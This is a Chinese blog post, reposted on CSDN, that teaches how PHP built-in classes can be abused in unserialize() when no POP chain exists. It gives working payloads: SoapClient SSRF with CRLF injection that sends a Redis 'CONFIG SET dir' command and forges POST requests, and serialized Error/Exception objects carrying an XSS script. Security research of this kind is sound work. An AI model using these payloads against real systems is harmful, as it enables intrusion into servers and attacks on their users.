反序列化 php 原生类,反序列化之PHP原生类的利用

目录

正文

文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何?

N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化。

回到顶部

基础知识

首先还是来回顾一下序列化中的魔术方法,下面也将以此进行分类来进行研究。

当对象被创建的时候调用:__construct

当对象被销毁的时候调用:__destruct

当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):__toString

序列化对象之前就调用此方法(其返回需要是一个数组):__sleep

反序列化恢复对象之前就调用此方法:__wakeup

当调用对象中不存在的方法会自动调用此方法:__call

看一下当前php本身内置类有:

$classes = get_declared_classes();

foreach ($classes as $class) {

$methods = get_class_methods($class);

foreach ($methods as $method) {

if (in_array($method, array(

'__destruct',

'__toString',

'__wakeup',

'__call',

'__callStatic',

'__get',

'__set',

'__isset',

'__unset',

'__invoke',

'__set_state'

))) {

print $class . '::' . $method . "\n";

}

}

}

当然有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候。

bfbf1de5d48fa7a58526a8ad29e88339.png

当然这也和PHP版本也有一些关系,寻找的几个类中,发现在php5.3以前都是没有如此的限制。

223787fc8459660491228f8d0ea3909d.png

回到顶部

__call

SoapClient

这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类。

SSRF

$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));

$b = serialize($a);

echo $b;

$c = unserialize($b);

$c->a();

ef0186cc0c5e1aa70eacf6c4e689d630.png

但是它仅限于http/https协议,用处不是很大。

9a652de00ec7dbefeb85f91e3a79e842.png

但是这里http头部还存在crlf漏洞,可以再去drops回顾一下如何通过http来hack redis,Trying to hack Redis via HTTP requests

$poc = "CONFIG SET dir /root/";

$target = "http://example.com:5555/";

$b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello'));

$aaa = serialize($b);

$aaa = str_replace('^^',"\n\r",$aaa);

echo urlencode($aaa);

//Test

$c = unserialize($aaa);

$c->notexists();

4aa8033002691b6c2a47f140f3a9049e.png

对于如何发送POST的数据包,这里面还有一个坑,就是content-type的设置,当是可以看到上面的数据包,user_agent的头部是在content-type的下面,所以我们可以通过SoapClient来设置user_agent,再使用crlf将content-type给往下挤。

来自wupco师傅的poc:

$target = "http://example.com:5555/";

$post_string = 'data=abc';

$headers = array(

'X-Forwarded-For: 127.0.0.1',

'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'

);

$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));

$aaa = serialize($b);

$aaa = str_replace('^^',"\n\r",$aaa);

echo urlencode($aaa);

47c6e8e77bd977582f733a697bc527da.png

回到顶部

__toString

Error

适用于php7版本

XSS

开启报错的情况下:

$a = new Error("");

$b = serialize($a);

echo urlencode($b);

//Test

$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');

$c = unserialize($t);

echo $c;

a913016056c05481f4fbb140024a8941.png

Exception

适用于php5、7版本

XSS

开启报错的情况下:

$a = new Exception("");

$b = serialize($a);

echo urlencode($b);

//Test

$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D');

echo unserialize($c);

回到顶部

实例化任意类

可调用任意类的时候找__construct的时候一些可用的类:

案例:pornhub某漏洞

可获取目录

DirectoryIterator

XXE

SimpleXMLElement

创建空白文件

SQLite3

know it then do it

分类: 代码审计

转载自:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

标签:原生,__,PHP,aaa,3Bs%,22%,3A%,序列化

来源: https://www.cnblogs.com/ashe666/p/11088109.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值